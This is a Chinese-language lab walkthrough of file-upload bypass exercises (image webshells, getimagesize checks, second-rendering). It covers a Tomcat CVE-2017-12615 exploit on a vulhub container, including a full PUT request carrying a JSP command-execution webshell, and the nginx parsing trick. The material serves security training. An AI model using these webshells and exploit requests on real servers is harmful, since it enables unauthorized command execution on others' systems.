内容逻辑绕过 - 图1

  1. copy 1.png /b + shell.php /a webshell.jpg
  2. 文件头检测
  3. 图像文件信息判断
  4. 逻辑安全=二次渲染
  5. 逻辑安全-条件竞争目录命名-x.php/.
  6. 脚本函数漏洞-CVE-2015-2348
  7. 数组接受+目录命名

copy 1.png /b + shell.php /a webshell.jpg 意思是将shell.php中的代码追加到1.png中并重新生成一个叫webshell.php的代码。

第十三关

用上面的代码制作成图片马然后正常上传,获取到图片的地址。然后打开文件包含漏洞页面
内容逻辑绕过 - 图2
将刚才上传的图片作为参数发送给服务器。然后获取到webshell

内容逻辑绕过 - 图3
也可以用蚁剑这种工具拿下webshell

内容逻辑绕过 - 图4

第十四关

  1. function isImage($filename){
  2. $types = '.jpeg|.png|.gif';
  3. if(file_exists($filename)){
  4. $info = getimagesize($filename);
  5. $ext = image_type_to_extension($info[2]);
  6. if(stripos($types,$ext)){
  7. return $ext;
  8. }else{
  9. return false;
  10. }
  11. }else{
  12. return false;
  13. }
  14. }
  15. $is_upload = false;
  16. $msg = null;
  17. if(isset($_POST['submit'])){
  18. $temp_file = $_FILES['upload_file']['tmp_name'];
  19. $res = isImage($temp_file);
  20. if(!$res){
  21. $msg = "文件未知,上传失败!";
  22. }else{
  23. $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
  24. if(move_uploaded_file($temp_file,$img_path)){
  25. $is_upload = true;
  26. } else {
  27. $msg = "上传出错!";
  28. }
  29. }
  30. }

getimagesize代码的核心就是使用这个函数这个函数会对文件头进行验证
比如GIF的文件头为GIF89a
png的文件头为塒NG
所以此处正常上传一个图片马将后缀改名为PHP即可

内容逻辑绕过 - 图5

内容逻辑绕过 - 图6

第十五关

和上面的一关基本是一样的只需要正常的上传然后结合文件包含漏洞利用。

第十六关

https://xz.aliyun.com/t/2657#toc-13
https://blog.csdn.net/m0_46436640/article/details/107809772
这一关的难度相对来说比较大,因为文件的验证比较复杂。

  1. $is_upload = false;
  2. $msg = null;
  3. if (isset($_POST['submit'])){
  4. // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
  5. $filename = $_FILES['upload_file']['name'];
  6. $filetype = $_FILES['upload_file']['type'];
  7. $tmpname = $_FILES['upload_file']['tmp_name'];
  8. $target_path=UPLOAD_PATH.basename($filename);
  9. // 获得上传文件的扩展名
  10. $fileext= substr(strrchr($filename,"."),1);
  11. //判断文件后缀与类型,合法才进行上传操作
  12. if(($fileext == "jpg") && ($filetype=="image/jpeg")){
  13. if(move_uploaded_file($tmpname,$target_path))
  14. {
  15. //使用上传的图片生成新的图片
  16. $im = imagecreatefromjpeg($target_path);
  17. if($im == false){
  18. $msg = "该文件不是jpg格式的图片!";
  19. @unlink($target_path);
  20. }else{
  21. //给新图片指定文件名
  22. srand(time());
  23. $newfilename = strval(rand()).".jpg";
  24. $newimagepath = UPLOAD_PATH.$newfilename;
  25. imagejpeg($im,$newimagepath);
  26. //显示二次渲染后的图片(使用用户上传图片生成的新图片)
  27. $img_path = UPLOAD_PATH.$newfilename;
  28. @unlink($target_path);
  29. $is_upload = true;
  30. }
  31. } else {
  32. $msg = "上传出错!";
  33. }
  34. }else if(($fileext == "png") && ($filetype=="image/png")){
  35. if(move_uploaded_file($tmpname,$target_path))
  36. {
  37. //使用上传的图片生成新的图片
  38. $im = imagecreatefrompng($target_path);
  39. if($im == false){
  40. $msg = "该文件不是png格式的图片!";
  41. @unlink($target_path);
  42. }else{
  43. //给新图片指定文件名
  44. srand(time());
  45. $newfilename = strval(rand()).".png";
  46. $newimagepath = UPLOAD_PATH.$newfilename;
  47. imagepng($im,$newimagepath);
  48. //显示二次渲染后的图片(使用用户上传图片生成的新图片)
  49. $img_path = UPLOAD_PATH.$newfilename;
  50. @unlink($target_path);
  51. $is_upload = true;
  52. }
  53. } else {
  54. $msg = "上传出错!";
  55. }
  56. }else if(($fileext == "gif") && ($filetype=="image/gif")){
  57. if(move_uploaded_file($tmpname,$target_path))
  58. {
  59. //使用上传的图片生成新的图片
  60. $im = imagecreatefromgif($target_path);
  61. if($im == false){
  62. $msg = "该文件不是gif格式的图片!";
  63. @unlink($target_path);
  64. }else{
  65. //给新图片指定文件名
  66. srand(time());
  67. $newfilename = strval(rand()).".gif";
  68. $newimagepath = UPLOAD_PATH.$newfilename;
  69. imagegif($im,$newimagepath);
  70. //显示二次渲染后的图片(使用用户上传图片生成的新图片)
  71. $img_path = UPLOAD_PATH.$newfilename;
  72. @unlink($target_path);
  73. $is_upload = true;
  74. }
  75. } else {
  76. $msg = "上传出错!";
  77. }
  78. }else{
  79. $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
  80. }
  81. }

先上传一张图片马然后下载,将下载的图片马和原先的图片进行对比,发现没有被渲染的位置插入PHP代码最后在上传,再下载观察PHP代码是否被渲染。

内容逻辑绕过 - 图7

内容逻辑绕过 - 图8

内容逻辑绕过 - 图9

第十七关

中间件解析漏洞

内容逻辑绕过 - 图10

tomcat文件解析漏洞

CVE-2017-12615
环境搭建https://vulhub.org/#/environments/tomcat/CVE-2017-12615/

  1. jiang@ubuntu:/opt/vulhub/vulhub-master/tomcat/CVE-2017-12615$ docker-compose up -d

访问ip:port
内容逻辑绕过 - 图11
burp修改数据包

  1. PUT /1.jsp/ HTTP/1.1
  2. Host: 10.1.1.7:8080
  3. Accept: */*
  4. Accept-Language: en
  5. User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
  6. Connection: close
  7. Content-Type: application/x-www-form-urlencoded
  8. Content-Length: 750
  9. <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%>
  10. <%!public static String excuteCmd(String c) {
  11. StringBuilder line = new StringBuilder();
  12. try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));
  13. String temp = null;while ((temp = buf.readLine()) != null) {
  14. line.append(temp+"\n");}buf.close();} catch (Exception e) {
  15. line.append(e.getMessage());}return line.toString();}%><%if("023".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){
  16. out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>

访问http://10.1.1.7:8080/1.jsp?&pwd=023&cmd=id

内容逻辑绕过 - 图12

内容逻辑绕过 - 图13

nginx解析漏洞

环境搭建:https://vulhub.org/#/environments/nginx/nginx_parsing_vulnerability/

  1. jiang@ubuntu:/opt/vulhub/vulhub-master/nginx/nginx_parsing_vulnerability$ pwd
  2. /opt/vulhub/vulhub-master/nginx/nginx_parsing_vulnerability
  3. jiang@ubuntu:/opt/vulhub/vulhub-master/nginx/nginx_parsing_vulnerability$ docker-compose up -d

正常上传一张图片马
内容逻辑绕过 - 图14
然后在URL后面添加/xx.php 文件名随便

内容逻辑绕过 - 图15